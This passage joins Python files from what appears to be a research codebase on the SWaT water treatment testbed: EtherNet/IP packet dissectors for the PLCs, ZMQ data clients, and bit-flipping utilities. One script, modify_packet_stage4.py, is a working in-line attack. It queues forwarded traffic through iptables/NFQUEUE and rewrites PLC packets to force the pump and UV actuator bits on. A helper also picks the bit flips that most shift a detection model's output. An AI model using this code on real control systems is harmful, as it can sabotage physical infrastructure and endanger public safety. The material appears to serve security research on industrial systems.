scapy_all.BitEnumField('pump2_start', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('pump1_start', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.FieldListField("spare2", [], scapy_all.ByteField('', 0), length_from=lambda p: p.underlayer.length - 9), ] class SWAT_P1_RIO_DI(scapy_all.Packet): name = 'SWAT_P1_RIO_DI' fields_desc = [ scapy_all.LEShortField('counter', 0), scapy_all.LEIntField('padding', 0), scapy_all.BitEnumField('pump2_fault', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('pump2_run', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('pump2_auto', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('pump1_fault', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('pump1_run', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('pump1_auto', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('rio_wireless', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('plc_wireless', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitField('spare', 0, 6), scapy_all.BitEnumField('valve_close', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('valve_open', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.LEShortField('spare2', 0), ] class SWAT_P1_RIO_AI(scapy_all.Packet): name = "SWAT_P1_RIO_AI" fields_desc = [ scapy_all.LEShortField('counter', 0), scapy_all.LEIntField('padding', 0), scapy_all.LEShortField('level', 0), scapy_all.LEShortField('flow', 0), scapy_all.FieldListField("spare", [], scapy_all.LEShortField("", 0), length_from=lambda p: p.underlayer.length - 10), ] class SWAT_P1_WRIO_AI(scapy_all.Packet): name = "SWAT_P1_WRIO_AI" fields_desc = [ scapy_all.LEShortField('counter', 0), scapy_all.LEIntField('padding', 0), scapy_all.LEShortField('level', 0), scapy_all.LEShortField('flow', 0), scapy_all.FieldListField("spare", [], scapy_all.LEShortField("", 0), length_from=lambda p: p.underlayer.length - 10), ] scapy_all.bind_layers(scapy_all.TCP, enip_cpf.ENIP_CPF, dport=2222) scapy_all.bind_layers(scapy_all.UDP, enip_cpf.ENIP_CPF, sport=2222) scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P1_RIO_AI, length=32) scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P1_RIO_DI, length=10) scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P1_RIO_DO, length=22) scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P1_PLC, length=8) # Comment for WRIO # scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P1_WRIO_AI, length=10) # Uncomment for WRIO ``` modify_packet_stage4.py ```#!/usr/bin/env python # -*- coding:utf-8 -*- #!/usr/bin/env python # -*- coding:utf-8 -*- #!/usr/bin/env python # -*- coding:utf-8 -*- # !/usr/bin/env python # -*- coding:utf-8 -*- from scapy.all import * import time import numpy as np from Main.modify_bit import * from netfilterqueue import NetfilterQueue #stage4_index index2_50 = [74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 97, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 186, 187, 188, 189, 190, 191, 192, 193, 196, 197, 198, 199, 200, 201, 205, 206, 207, 208, 209, 218, 219, 220, 221, 222, 223, 224, 225, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 247, 248, 249, 269, 270, 271, 272, 273, 285, 286, 287, 288, 289, 302, 303, 304, 305, 317, 318, 319, 320, 321, 334, 335, 336, 337, 349, 350, 351, 352, 353, 365, 366, 367, 368, 369] index2_40 = [74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 95, 96, 97] index2_28 = [74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 95, 96, 97, 140, 141, 142, 143, 144, 145, 190, 194] index0_40 = [74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 95, 96, 97, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 205, 209, 215] p2_50 = np.zeros(len(index2_50), dtype=int) p2_40 = np.zeros(len(index2_40), dtype=int) p2_28 = np.zeros(len(index2_28), dtype=int) p0_40 = np.zeros(len(index0_40), dtype=int) vector = np.hstack((p2_50, p2_40, p2_28, p0_40)) vector = vector.tolist() modify_time = 0 modify_flag = 0 modify_index = 0 success_times = 0 failed_times = 0 count = 0 start_time = 0 time_interval = 30 def handle_packet(packet): global index_alter global modify_flag global modify_time global count global vector global start_time global model #191:pump1_start index_alter = 191 #190:UV_start index_alter2 = 190 pkt = IP(packet.get_payload()) if pkt.haslayer('Raw'): if index_alter in range(len(p2_50)): if pkt['IP'].src == '192.168.0.42' and len(pkt['Raw']) == 50: rawpkt = binascii.unhexlify(on(pkt, index2_50[index_alter])) pktnew = IP(rawpkt) del pktnew['IP'].chksum del pktnew['UDP'].chksum packet.set_payload(str(pktnew)) elif index_alter in range(len(p2_50), len(p2_50)+len(p2_40)): if pkt['IP'].src == '192.168.0.42' and len(pkt['Raw']) == 40: rawpkt = binascii.unhexlify(on(pkt, index2_40[index_alter - len(p2_50)])) pktnew = IP(rawpkt) del pktnew['IP'].chksum del pktnew['UDP'].chksum packet.set_payload(str(pktnew)) elif index_alter in range(len(p2_50)+len(p2_40), len(p2_50)+len(p2_40)+len(p2_28)): if pkt['IP'].src == '192.168.0.42' and len(pkt['Raw']) == 28: rawpkt = binascii.unhexlify(on(pkt, index2_28[index_alter - (len(p2_50)+len(p2_40))])) pktnew = IP(rawpkt) del pktnew['IP'].chksum del pktnew['UDP'].chksum packet.set_payload(str(pktnew)) elif index_alter in range(len(p2_50)+len(p2_40)+len(p2_28), len(p2_50)+len(p2_40)+len(p2_28)+len(p0_40)): if pkt['IP'].src == '192.168.0.40' and len(pkt['Raw']) == 40: #control pump401 states rawpkt = binascii.unhexlify(on(pkt, index0_40[index_alter - (len(p2_50)+len(p2_40)+len(p2_28))])) pktnew = IP(rawpkt) #control UV states rawpkt = binascii.unhexlify(on(pktnew, index0_40[index_alter2 - (len(p2_50)+len(p2_40)+len(p2_28))])) pktnew = IP(rawpkt) del pktnew['IP'].chksum del pktnew['UDP'].chksum packet.set_payload(str(pktnew)) packet.accept() if __name__ == '__main__': os.system('iptables -t mangle -A FORWARD -j NFQUEUE --queue-num 1') nfqueue = NetfilterQueue() nfqueue.bind(1, handle_packet,10) try: print "[*] starting NFQUEUE" start_time = time.time() print "start_time", start_time nfqueue.run() except KeyboardInterrupt: os.system('sudo iptables -t mangle -F') print "[*] stopping NFQUEUE" nfqueue.unbind() ``` _PLC2.py ```# -*- coding: utf-8 -*- # Copyright (c) 2018 Beebi Siti Salimah Binte Liyakkathali, liyakkathali@sutd.edu.sg # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. from scapy import all as scapy_all import enip_cpf __all__ = ['SWAT_P2_RIO_DO', 'SWAT_P2_RIO_DI', 'SWAT_P2_RIO_AI'] class SWAT_P2_RIO_DI(scapy_all.Packet): name = "SWAT_P2_RIO_DI" fields_desc =[ scapy_all.LEShortField('counter', 0), scapy_all.LEIntField('padding', 0), scapy_all.BitEnumField('P202_Fault', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P202_Run', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P202_Auto', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P201_Fault', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P201_Run', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P201_Auto', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('RIO2_Wifi', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('PLC2_Wifi', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P205_Run', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P205_Auto', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P204_Fault', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P204_Run', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P204_Auto', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P203_Fault', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P203_Run', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P203_Auto', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P208_Auto', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P207_Fault', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P207_Run', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P207_Auto', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P206_Fault', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P206_Run', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P206_Auto', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P205_Fault', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('LS203_Low', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('LS202_Low', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('LS201_Low', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('MV201_Close', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('MV201_Open', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P208_Fault', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P208_Run', 0, 1, {0: 'disable', 1: 'enable'}), ] class SWAT_P2_RIO_DO(scapy_all.Packet): name = "SWAT_P2_RIO_DO" fields_desc = [ scapy_all.LEShortField('counter', 0), scapy_all.ByteField('number', 0), scapy_all.StrFixedLenField('reserved', 0, length=5), scapy_all.BitEnumField('P208_Start', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P207_Start', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P206_Start', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P205_Start', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P204_Start', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P203_Start', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P202_Start', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P201_Start', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('LED_RED', 0, 1, {0: 'disable', 1: 'enable'}), #LED_RED scapy_all.BitEnumField('MV201_Close', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('MV201_Open', 0, 1, {0: 'disable', 1: 'enable'}), ] class SWAT_P2_RIO_AI(scapy_all.Packet): name = "SWAT_P2_RIO_AI" fields_desc = [ scapy_all.LEShortField('counter', 0), scapy_all.LEIntField('padding', 0), scapy_all.LEShortField('FIT201_Flow', 0), scapy_all.LEShortField('AIT201_Conductivity', 0), scapy_all.LEShortField('AIT202_pH', 0), scapy_all.LEShortField('AIT203_ORP', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), ] scapy_all.bind_layers(scapy_all.TCP, enip_cpf.ENIP_CPF, dport=2222) scapy_all.bind_layers(scapy_all.UDP, enip_cpf.ENIP_CPF, sport=2222) scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P2_RIO_AI, length=32) scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P2_RIO_DI, length=10) scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P2_RIO_DO, length=22) ``` extract_log.py ```#!/usr/bin/env python # -*- coding:utf-8 -*- import numpy as np import pandas as pd from datetime import datetime df=pd.read_csv("log/0712LIT301.Pv.csv") out=[datetime.strptime(x,' %d/%m/%Y %I:%M:%S %p') for x in df[" Timestamp"].tolist()] flag=0 for i in range(len(out)): if(out[i]==datetime(2019,7,12,9,52,40)): flag = i break df_out=df.iloc[flag:, 2:4] df_out.to_csv("log/0712LIT301.csv") ``` get_pv.py ```from scapy.all import * import time import numpy as np from bitdump import * import binascii from netfilterqueue import NetfilterQueue from usl import * import _PLC1 def save(filename, contents): fh = open(filename, 'w') fh.write(contents) fh.close() t = time.time() time_interval = 30 pv_list = np.zeros(100,dtype=float) pv_list = pv_list.tolist() count = 0 while True: if time.time() - t <= 1: continue else: f = open('string.txt','r') line = f.readline() pkt = IP(binascii.unhexlify(line)) if pkt.haslayer('SWAT_P1_RIO_AI'): pv = usl(pkt['SWAT_P1_RIO_AI'].level) pv_list[count] = pv print pv_list diff = pv_list[count]-pv_list[count-time_interval] count += 1 if count == 100: count = 0 t = time.time() save('zmq/pv_diff1.txt', str(diff)) ``` main_client.py ```#!/usr/bin/env python # -*- coding:utf-8 -*- #!/usr/bin/env python # -*- coding:utf-8 -*- import time import zmq import numpy as np ip1 = "10.0.1.231" ip2 = "10.0.1.232" ip3 = "10.0.1.233" ip4 = "10.0.1.234" port = "5510" tcp_address1 = "tcp://" + ip1 + ":" + port tcp_address2 = "tcp://" + ip2 + ":" + port tcp_address3 = "tcp://" + ip3 + ":" + port tcp_address4 = "tcp://" + ip4 + ":" + port # Socket to talk to server context = zmq.Context() socket1 = context.socket(zmq.SUB) socket1.connect(tcp_address1) socket2 = context.socket(zmq.SUB) socket2.connect(tcp_address2) socket3 = context.socket(zmq.SUB) socket3.connect(tcp_address3) socket4 = context.socket(zmq.SUB) socket4.connect(tcp_address4) socket1.setsockopt(zmq.SUBSCRIBE, '') socket2.setsockopt(zmq.SUBSCRIBE, '') socket3.setsockopt(zmq.SUBSCRIBE, '') socket4.setsockopt(zmq.SUBSCRIBE, '') def preprocess(x): temp = x.strip('[') temp = temp.strip(']') final = np.fromstring(temp, dtype=int, sep='. ') return final while True: vnold1 = socket1.recv_string() old1 = preprocess(vnold1) # vnold2 = socket2.recv_string() # old2 = preprocess(vnold2) # vnold3 = socket3.recv_string() # old3 = preprocess(vnold3) # oldvector = np.hstack((old1, old2, old3)) # np.savetxt("oldvector.txt", oldvector) np.savetxt('stage1old.txt',old1) ``` modify_bit.py ```#!/usr/bin/env python # -*- coding:utf-8 -*- #!/usr/bin/env python import binascii from scapy.all import * import string def flip(pkt1,number): flag = 0 whole = binascii.hexlify(bytes(pkt1)) payload = binascii.hexlify(bytes(pkt1[Raw])) temp = string.replace(whole,payload,"") templist = list(payload) if templist[0] == '0': flag = 1 a = bin(int(payload,16)) a = string.replace(a,"0b","") b = list(a) if b[number] == '1': b[number] = '0' else: b[number] = '1' c = ''.join(b) d = hex(int(c,2)) payloadnew = string.replace(d,"0x","") payloadnew = string.replace(payloadnew,"L","") if flag == 1: payloadnew = list(payloadnew) payloadnew.insert(0,'0') payloadnew = ''.join(payloadnew) packetnew = temp + payloadnew return packetnew def on(pkt1,number): flag = 0 whole = binascii.hexlify(bytes(pkt1)) payload = binascii.hexlify(bytes(pkt1[Raw])) temp = string.replace(whole,payload,"") templist = list(payload) if templist[0] == '0': flag = 1 a = bin(int(payload,16)) a = string.replace(a,"0b","") b = list(a) b[number] = '1' c = ''.join(b) d = hex(int(c,2)) payloadnew = string.replace(d,"0x","") payloadnew = string.replace(payloadnew,"L","") if flag == 1: payloadnew = list(payloadnew) payloadnew.insert(0,'0') payloadnew = ''.join(payloadnew) packetnew = temp + payloadnew return packetnew def off(pkt1,number): flag = 0 whole = binascii.hexlify(bytes(pkt1)) payload = binascii.hexlify(bytes(pkt1[Raw])) temp = string.replace(whole,payload,"") templist = list(payload) if templist[0] == '0': flag = 1 a = bin(int(payload,16)) a = string.replace(a,"0b","") b = list(a) b[number] = '0' c = ''.join(b) d = hex(int(c,2)) payloadnew = string.replace(d,"0x","") payloadnew = string.replace(payloadnew,"L","") if flag == 1: payloadnew = list(payloadnew) payloadnew.insert(0,'0') payloadnew = ''.join(payloadnew) packetnew = temp + payloadnew return packetnew ``` AL_utils.py ```import binascii from scapy.all import * import string def list_to_string(vector): temp = [str(x) for x in vector] return ''.join(temp) def modify_bit(pkt1,number): flag = 0 whole = binascii.hexlify(bytes(pkt1)) payload = binascii.hexlify(bytes(pkt1[Raw])) temp = string.replace(whole,payload,"") templist = list(payload) if templist[0] == '0': flag = 1 a = bin(int(payload,16)) a = string.replace(a,"0b","") b = list(a) if b[number] == '1': b[number] = '0' else: b[number] = '1' c = ''.join(b) d = hex(int(c,2)) payloadnew = string.replace(d,"0x","") payloadnew = string.replace(payloadnew,"L","") if flag == 1: payloadnew = list(payloadnew) payloadnew.insert(0,'0') payloadnew = ''.join(payloadnew) packetnew = temp + payloadnew return packetnew def bitdump(x, dump=False): s = "" x = raw(x) l = len(x) i = 0 while i < l: for j in range(16): if i+j < l: s += "%02X" % orb(x[i+j]) s+="" if j%16 == 7: s += "" i += 16 if s.endswith("\n"): s = s[:-1] return bin(int(s,16)).replace("0b","") '''scoring function''' def search(vector): global model t = 0 index_temp = 0 y_origin = model.predict([vector]) for index in range(len(vector)): temp = vector[:] if temp[index] == 0: temp[index] = 1 elif temp[index] == 1: temp[index] = 0 y_after = model.predict(temp) if abs(y_after-y_origin) >= t: t = abs(y_after-y_origin) index_temp = index return index_temp def bit_flip(vector,i): temp = vector[:] if temp[i] == 0: temp[i] = 1 elif temp[i] == 1: temp[i] = 0 else: print 'not a bit string' return temp def bin_to_hex(bin_string): bin_list = list(bin_string) hex_list = [] for i in range(len(bin_list)/4): if bin_list[4*i:4*(i+1)] == ['0','0','0','0']: hex_list.append('0') if bin_list[4*i:4*(i+1)] == ['0','0','0','1']: hex_list.append('1') if bin_list[4*i:4*(i+1)] == ['0','0','1','0']: hex_list.append('2') if bin_list[4*i:4*(i+1)] == ['0','0','1','1']: hex_list.append('3') if bin_list[4*i:4*(i+1)] == ['0','1','0','0']: hex_list.append('4') if bin_list[4*i:4*(i+1)] == ['0','1','0','1']: hex_list.append('5') if bin_list[4*i:4*(i+1)] == ['0','1','1','0']: hex_list.append('6') if bin_list[4*i:4*(i+1)] == ['0','1','1','1']: hex_list.append('7') if bin_list[4*i:4*(i+1)] == ['1','0','0','0']: hex_list.append('8') if bin_list[4*i:4*(i+1)] == ['1','0','0','1']: hex_list.append('9') if bin_list[4*i:4*(i+1)] == ['1','0','1','0']: hex_list.append('a') if bin_list[4*i:4*(i+1)] == ['1','0','1','1']: hex_list.append('b') if bin_list[4*i:4*(i+1)] == ['1','1','0','0']: hex_list.append('c') if bin_list[4*i:4*(i+1)] == ['1','1','0','1']: hex_list.append('d') if bin_list[4*i:4*(i+1)] == ['1','1','1','0']: hex_list.append('e') if bin_list[4*i:4*(i+1)] == ['1','1','1','1']: hex_list.append('f') hex_str = ''.join(hex_list) return hex_str def reconstruct_packet(pkt,vector,stage_number,packet_index): ''' :param vector: whole payload of four stages :param stage_number: stage1:1;stage2:2;stage3:3;stage4:4 :param packet_index: 12_50:1;12_40:2;12_28:3;10_40:4 :return: ''' len_12_50 = 394 len_12_40 = 314 len_12_28 = 218 len_10_40 = 314 stage_length = 1240 whole = binascii.hexlify(bytes(pkt)) payload = binascii.hexlify(bytes(pkt[Raw])) print payload temp = string.replace(whole,payload,"") stage_vector = vector[(stage_number-1)*stage_length:stage_number*stage_length] if packet_index == 1: packet_vector = stage_vector[:len_12_50] if packet_index == 2: packet_vector = stage_vector[len_12_50:len_12_50+len_12_40] if packet_index == 3: packet_vector = stage_vector[len_12_50+len_12_40:len_12_50+len_12_40+len_12_28] if packet_index == 4: packet_vector = stage_vector[len_12_50+len_12_40+len_12_28:len_12_50+len_12_40+len_12_28+len_10_40] pktnew = list_to_string(packet_vector) pktnew = '000000'+pktnew a = time.time() pktnew = bin_to_hex(pktnew) print time.time()-a print pktnew return temp+pktnew``` stage4_client.py ```#!/usr/bin/env python # -*- coding:utf-8 -*- import zmq import time import numpy as np def preprocess(x): temp = x.strip('[') temp = temp.strip(']') final = np.fromstring(temp, dtype=int, sep='. ') return final def save(filename, contents): fh = open(filename, 'w') fh.write(contents) fh.close() def read(filename): fh = open(filename, 'r') contents = fh.read() fh.close() return contents ip = "10.0.1.235" port = "5504" port_states = '5508' tcp_address = "tcp://" + ip + ":" + port tcp_address_states = "tcp://" + ip + ":" + port_states # Socket to talk to server context = zmq.Context() socket = context.socket(zmq.SUB) socket.connect(tcp_address) socket.setsockopt(zmq.SUBSCRIBE, '') socket_states = context.socket(zmq.SUB) socket_states.connect(tcp_address_states) socket_states.setsockopt(zmq.SUBSCRIBE, '') while True: newvector = socket.recv_string() print newvector newvector = preprocess(newvector) np.savetxt('newvector.txt',newvector) states = socket_states.recv_string() save('stage_states.txt',states) ``` _PLC3.py ```# -*- coding: utf-8 -*- # Copyright (c) 2015 David I. Urbina, david.urbina@utdallas.edu # Copyright (c) 2016 Rizwan Qadeer, rizwan_qadeer@sutd.edu.sg # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. """Scapy Dissector for Ethernet/IP Implicit I/O messages of PLC 3.""" from scapy import all as scapy_all import enip_cpf __all__ = ['SWAT_P3_PLC', 'SWAT_P3_RIO_DO', 'SWAT_P3_RIO_DI', 'SWAT_P3_RIO_AI', 'SWAT_P3_WRIO_AI'] class SWAT_P3_PLC(scapy_all.Packet): name = "SWAT_P3_PLC" fields_desc = [ scapy_all.LEShortField('counter', 0), scapy_all.LEIntField('number', 0), scapy_all.LEShortField('spare', 0), ] class SWAT_P3_RIO_DO(scapy_all.Packet): name = "SWAT_P3_RIO_DO" fields_desc = [ scapy_all.LEShortField('counter', 0), scapy_all.ByteField('number', 0), scapy_all.StrFixedLenField('reserved', 0, length=5), scapy_all.BitEnumField('Dvalve_close', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('Dvalve_open', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('ROvalve_close', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('ROvalve_open', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('UFFvalve_close', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('UFFvalve_open', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('UFFpump2_start', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('UFFpump1_start', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitField('spare', 0, 4), scapy_all.BitEnumField('MV201_stat', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('Alarm_light', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('UFDvalve_close', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('UFDvalve_open', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.FieldListField("spare2", [], scapy_all.ByteField('', 0), length_from=lambda p: p.underlayer.length - 9), ] class SWAT_P3_RIO_DI(scapy_all.Packet): name = 'SWAT_P3_RIO_DI' fields_desc = [ scapy_all.LEShortField('counter', 0), scapy_all.LEIntField('padding', 0), scapy_all.BitEnumField('UFFpump2_fault', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('UFFpump2_run', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('UFFpump2_auto', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('UFFpump1_fault', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('UFFpump1_run', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('UFFpump1_auto', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('rio3_wireless', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('plc3_wireless', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('UFDvalve_close', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('UFDvalve_open', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('Dvalve_close', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('Dvalve_open', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('ROvalve_close', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('ROvalve_open', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('BWvalve_close', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('BWvalve_open', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitField('spare', 0, 6), scapy_all.BitEnumField('UFDpressure', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('UFpressure', 0, 1, {0: 'disable', 1: 'enable'}), ] #AIT301,AIT302,AIT303 - added(salimah) class SWAT_P3_RIO_AI(scapy_all.Packet): name = "SWAT_P3_RIO_AI" fields_desc = [ scapy_all.LEShortField('counter', 0), scapy_all.LEIntField('padding', 0), scapy_all.LEShortField('LIT301_Level', 0), scapy_all.LEShortField('FIT301_Flow', 0), scapy_all.LEShortField('DPIT301_Differential_pressure', 0), scapy_all.LEShortField('AIT301_pH', 0), scapy_all.LEShortField('AIT302_ORP', 0), scapy_all.LEShortField('AIT303_Cond', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), ] class SWAT_P3_WRIO_AI(scapy_all.Packet): name = "SWAT_P3_WRIO_AI" fields_desc = [ scapy_all.LEShortField('counter', 0), scapy_all.LEIntField('padding', 0), scapy_all.LEShortField('level', 0), scapy_all.LEShortField('flow', 0), scapy_all.LEShortField('pressure', 0), scapy_all.FieldListField("spare", [], scapy_all.LEShortField("", 0), length_from=lambda p: p.underlayer.length - 10), ] scapy_all.bind_layers(scapy_all.TCP, enip_cpf.ENIP_CPF, dport=2222) scapy_all.bind_layers(scapy_all.UDP, enip_cpf.ENIP_CPF, sport=2222) scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P3_RIO_AI, length=32) scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P3_RIO_DI, length=10) scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P3_RIO_DO, length=22) scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P3_PLC, length=8) # Comment for WRIO # scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P3_WRIO_AI, length=10) # Uncomment for WRIO ``` AL_utils.py ```import binascii from scapy.all import * import string def list_to_string(vector): temp = [str(x) for x in vector] return ''.join(temp) def 